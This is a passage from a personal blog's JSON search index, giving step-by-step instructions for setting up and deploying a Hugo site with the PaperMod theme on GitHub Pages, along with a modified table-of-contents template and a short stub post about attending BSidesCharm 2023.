Open the config file in a text editor: code config.toml Add the theme to the end of the config file: theme = \u0026quot;PaperMod\u0026quot; Change the title: MP Change the base URL to match Github production repo: baseURL = https://MParnin.github.io/ Save changes and exit code editor Preview site locally: Make sure in directory with config.toml Run Hugo server: hugo server Visit the address of the local site: http://localhost:1313/ (can ctrl-click link in terminal) Stop server when finished viewing: Ctrl+c Test creating a new post: Create file: hugo new posts/hellomom.md Edit file: code /content/posts/hellomom.md Set title of post: title: \u0026quot;Hello Mom!\u0026quot; Delete draft mode line Add content below second \u0026ldquo;\u0026mdash;\u0026rdquo;: Add plaintext: Hey Mom checkout my new site! Add code: 1 print(\u0026#34;Hello Mom!\u0026#34;) Save and exit Add \u0026ldquo;Blog\u0026rdquo; as submodule to store static assets for website: Need one commit for \u0026ldquo;MParnin.github.io\u0026rdquo; repo and set the main branch to \u0026ldquo;main\u0026rdquo;: Make a temp directory to clone repo to: mkdir ~/tmp Change to temp directory: cd ~/tmp Clone Production repository: git clone git@github.com:MParnin/MParnin.github.io.git Change to cloned directory: cd MParnin.github.io Checkout a new branch: git checkout -b main Create a readme file: touch README.md Check status to see untracked files: git status Add new all new files to be tracked: git add . Commit tracked files: git commit -m \u0026quot;Adding README\u0026quot; Push to Main branch on Github: git push origin main Confirm on Github the file was added and branch is set to \u0026ldquo;main\u0026rdquo; Delete temp files: rm -rf tmp Add a git submodule which will reference \u0026ldquo;Production\u0026rdquo; repository: Change to root site directory: cd ~/Documents/Blog/MParnin.github.io Create submodule within root to deploy site from (site deployed from \u0026ldquo;public\u0026rdquo; submodule directory; static files that Hugo generates get added to this directory): git submodule add -b main git@github.com:MParnin/MParnin.github.io.git public Review site before deploying: hugo server Generate static files into \u0026ldquo;public\u0026rdquo;: Change to root site directory: cd ~/Documents/Blog/MParnin.github.io Create files for selected theme: hugo -t PaperMod Confirm files were generated: cd public Confirm origin is directed to Production repository: git remote -v Check status of files: git status Add all static files: git add . Commit static files: git commit -m \u0026quot;Initial commit\u0026quot; Push the origin files to the main branch: git push origin main Confirm all static files are in Production repo on Github. These files are now automatically deployed to https://MParnin.github.io. This site is published because it is hosted through Github Pages which can be seen in \u0026ldquo;Settings \u0026gt; Pages\u0026rdquo; for the Production repositories settings. Creating a New Post Create a new post: Navigate to root of site: cd /Documents/Blog/MParnin.github.io Create new post file: hugo new posts/\u0026lt;name.md\u0026gt; Edit post: code /content/posts/\u0026lt;post-title\u0026gt;.md Set title of post: title: \u0026quot;Hello Mom!\u0026quot; Delete draft mode Save and exit Generate static files into \u0026ldquo;public\u0026rdquo; and push to github to update site: Change to root site directory: cd ~/Documents/Blog/MParnin.github.io Create files for selected theme: hugo -t PaperMod Confirm files were generated: cd public Confirm origin is directed to Production repository: git remote -v Check status of files: git status Add all static files: git add . Commit static files: git commit -m \u0026quot;Initial commit\u0026quot; Push the origin files to the main branch: git push origin main Modifications Moved table of contents to left side of page: Replace the contents of themes/PaperMod/layouts/partials/toc.html with the following (comment out what is currently in the file): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 {{- $headers := findRE \u0026#34;\u0026lt;h[1-6].*?\u0026gt;(.|\\n])+?\u0026lt;/h[1-6]\u0026gt;\u0026#34; .Content -}} {{- $has_headers := ge (len $headers) 1 -}} {{- if $has_headers -}} \u0026lt;aside id=\u0026#34;toc-container\u0026#34; class=\u0026#34;toc-container wide\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;toc\u0026#34;\u0026gt; \u0026lt;details {{if (.Param \u0026#34;TocOpen\u0026#34;) }} open{{ end }}\u0026gt; \u0026lt;summary accesskey=\u0026#34;c\u0026#34; title=\u0026#34;(Alt + C)\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;details\u0026#34;\u0026gt;{{- i18n \u0026#34;toc\u0026#34; | default \u0026#34;Table of Contents\u0026#34; }}\u0026lt;/span\u0026gt; \u0026lt;/summary\u0026gt; \u0026lt;div class=\u0026#34;inner\u0026#34;\u0026gt; {{- $largest := 6 -}} {{- range $headers -}} {{- $headerLevel := index (findRE \u0026#34;[1-6]\u0026#34; . 1) 0 -}} {{- $headerLevel := len (seq $headerLevel) -}} {{- if lt $headerLevel $largest -}} {{- $largest = $headerLevel -}} {{- end -}} {{- end -}} {{- $firstHeaderLevel := len (seq (index (findRE \u0026#34;[1-6]\u0026#34; (index $headers 0) 1) 0)) -}} {{- $.Scratch.Set \u0026#34;bareul\u0026#34; slice -}} \u0026lt;ul\u0026gt; {{- range seq (sub $firstHeaderLevel $largest) -}} \u0026lt;ul\u0026gt; {{- $.Scratch.Add \u0026#34;bareul\u0026#34; (sub (add $largest .) 1) -}} {{- end -}} {{- range $i, $header := $headers -}} {{- $headerLevel := index (findRE \u0026#34;[1-6]\u0026#34; . 1) 0 -}} {{- $headerLevel := len (seq $headerLevel) -}} {{/* get id=\u0026#34;xyz\u0026#34; */}} {{- $id := index (findRE \u0026#34;(id=\\\u0026#34;(.*?)\\\u0026#34;)\u0026#34; $header 9) 0 }} {{- /* strip id=\u0026#34;\u0026#34; to leave xyz, no way to get regex capturing groups in hugo */ -}} {{- $cleanedID := replace (replace $id \u0026#34;id=\\\u0026#34;\u0026#34; \u0026#34;\u0026#34;) \u0026#34;\\\u0026#34;\u0026#34; \u0026#34;\u0026#34; }} {{- $header := replaceRE \u0026#34;\u0026lt;h[1-6].*?\u0026gt;((.|\\n])+?)\u0026lt;/h[1-6]\u0026gt;\u0026#34; \u0026#34;$1\u0026#34; $header -}} {{- if ne $i 0 -}} {{- $prevHeaderLevel := index (findRE \u0026#34;[1-6]\u0026#34; (index $headers (sub $i 1)) 1) 0 -}} {{- $prevHeaderLevel := len (seq $prevHeaderLevel) -}} {{- if gt $headerLevel $prevHeaderLevel -}} {{- range seq $prevHeaderLevel (sub $headerLevel 1) -}} \u0026lt;ul\u0026gt; {{/* the first should not be recorded */}} {{- if ne $prevHeaderLevel . -}} {{- $.Scratch.Add \u0026#34;bareul\u0026#34; . -}} {{- end -}} {{- end -}} {{- else -}} \u0026lt;/li\u0026gt; {{- if lt $headerLevel $prevHeaderLevel -}} {{- range seq (sub $prevHeaderLevel 1) -1 $headerLevel -}} {{- if in ($.Scratch.Get \u0026#34;bareul\u0026#34;) . -}} \u0026lt;/ul\u0026gt; {{/* manually do pop item */}} {{- $tmp := $.Scratch.Get \u0026#34;bareul\u0026#34; -}} {{- $.Scratch.Delete \u0026#34;bareul\u0026#34; -}} {{- $.Scratch.Set \u0026#34;bareul\u0026#34; slice}} {{- range seq (sub (len $tmp) 1) -}} {{- $.Scratch.Add \u0026#34;bareul\u0026#34; (index $tmp (sub . 1)) -}} {{- end -}} {{- else -}} \u0026lt;/ul\u0026gt; \u0026lt;/li\u0026gt; {{- end -}} {{- end -}} {{- end -}} {{- end }} \u0026lt;li\u0026gt; \u0026lt;a href=\u0026#34;#{{- $cleanedID -}}\u0026#34; aria-label=\u0026#34;{{- $header | plainify -}}\u0026#34;\u0026gt;{{- $header | safeHTML -}}\u0026lt;/a\u0026gt; {{- else }} \u0026lt;li\u0026gt; \u0026lt;a href=\u0026#34;#{{- $cleanedID -}}\u0026#34; aria-label=\u0026#34;{{- $header | plainify -}}\u0026#34;\u0026gt;{{- $header | safeHTML -}}\u0026lt;/a\u0026gt; {{- end -}} {{- end -}} \u0026lt;!-- {{- $firstHeaderLevel := len (seq (index (findRE \u0026#34;[1-6]\u0026#34; (index $headers 0) 1) 0)) -}} --\u0026gt; {{- $firstHeaderLevel := $largest }} {{- $lastHeaderLevel := len (seq (index (findRE \u0026#34;[1-6]\u0026#34; (index $headers (sub (len $headers) 1)) 1) 0)) }} \u0026lt;/li\u0026gt; {{- range seq (sub $lastHeaderLevel $firstHeaderLevel) -}} {{- if in ($.Scratch.Get \u0026#34;bareul\u0026#34;) (add . $firstHeaderLevel) }} \u0026lt;/ul\u0026gt; {{- else }} \u0026lt;/ul\u0026gt; \u0026lt;/li\u0026gt; {{- end -}} {{- end }} \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/details\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/aside\u0026gt; \u0026lt;script\u0026gt; let activeElement; let elements; window.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, function (event) { checkTocPosition(); elements = document.querySelectorAll(\u0026#39;h1[id],h2[id],h3[id],h4[id],h5[id],h6[id]\u0026#39;); // Make the first header active activeElement = elements[0]; const id = encodeURI(activeElement.getAttribute(\u0026#39;id\u0026#39;)).toLowerCase(); document.querySelector(`.inner ul li a[href=\u0026#34;#${id}\u0026#34;]`).classList.add(\u0026#39;active\u0026#39;); }, false); window.addEventListener(\u0026#39;resize\u0026#39;, function(event) { checkTocPosition(); }, false); window.addEventListener(\u0026#39;scroll\u0026#39;, () =\u0026gt; { // Check if there is an object in the top half of the screen or keep the last item active activeElement = Array.from(elements).find((element) =\u0026gt; { if ((getOffsetTop(element) - window.pageYOffset) \u0026gt; 0 \u0026amp;\u0026amp; (getOffsetTop(element) - window.pageYOffset) \u0026lt; window.innerHeight/2) { return element; } }) || activeElement elements.forEach(element =\u0026gt; { const id = encodeURI(element.getAttribute(\u0026#39;id\u0026#39;)).toLowerCase(); if (element === activeElement){ document.querySelector(`.inner ul li a[href=\u0026#34;#${id}\u0026#34;]`).classList.add(\u0026#39;active\u0026#39;); } else { document.querySelector(`.inner ul li a[href=\u0026#34;#${id}\u0026#34;]`).classList.remove(\u0026#39;active\u0026#39;); } }) }, false); const main = parseInt(getComputedStyle(document.body).getPropertyValue(\u0026#39;--article-width\u0026#39;), 10); const toc = parseInt(getComputedStyle(document.body).getPropertyValue(\u0026#39;--toc-width\u0026#39;), 10); const gap = parseInt(getComputedStyle(document.body).getPropertyValue(\u0026#39;--gap\u0026#39;), 10); function checkTocPosition() { const width = document.body.scrollWidth; if (width - main - (toc * 2) - (gap * 4) \u0026gt; 0) { document.getElementById(\u0026#34;toc-container\u0026#34;).classList.add(\u0026#34;wide\u0026#34;); } else { document.getElementById(\u0026#34;toc-container\u0026#34;).classList.remove(\u0026#34;wide\u0026#34;); } } function getOffsetTop(element) { if (!element.getClientRects().length) { return 0; } let rect = element.getBoundingClientRect(); let win = element.ownerDocument.defaultView; return rect.top + win.pageYOffset; } \u0026lt;/script\u0026gt; {{- end }} ","permalink":"https://MParnin.github.io/posts/blogconfig/","summary":"Installing/Updating Hugo Make sure installed version of Go is \u0026gt;= 1.18: Check Go version: go version Install/update Go: https://go.dev/doc/install Check Hugo: hugo version Update Hugo: Download latest version: https://github.com/gohugoio/hugo/releases Install .deb file: sudo dpkg --install ./hugo_0.110.0_linux-amd64.deb Creating a New Site Install Hugo and prerequisites: https://gohugo.io/installation/ Create two repositories on Github: \u0026ldquo;Blog Repository\u0026rdquo; - Repository for storing website code: \u0026ldquo;Blog\u0026rdquo; Make Public, no README, simply click \u0026ldquo;Create repository\u0026rdquo; \u0026ldquo;Production Repository\u0026rdquo; - Repository for deploying website that\u0026rsquo;s hosted through Github Pages: \u0026ldquo;MParnin.","title":"Blog Setup"},{"content":"This is where I\u0026rsquo;ll share my experience attending my first cybersecurity conference, BsidesCharm. I\u0026rsquo;ve volunteered for the event for the morning of both days.\n","permalink":"https://MParnin.github.io/conferences/bsidescharm2023/","summary":"This is where I\u0026rsquo;ll share my experience attending my first cybersecurity conference, BsidesCharm. I\u0026rsquo;ve volunteered for the event for the morning of both days.","title":"BSidesCharm 2023"}]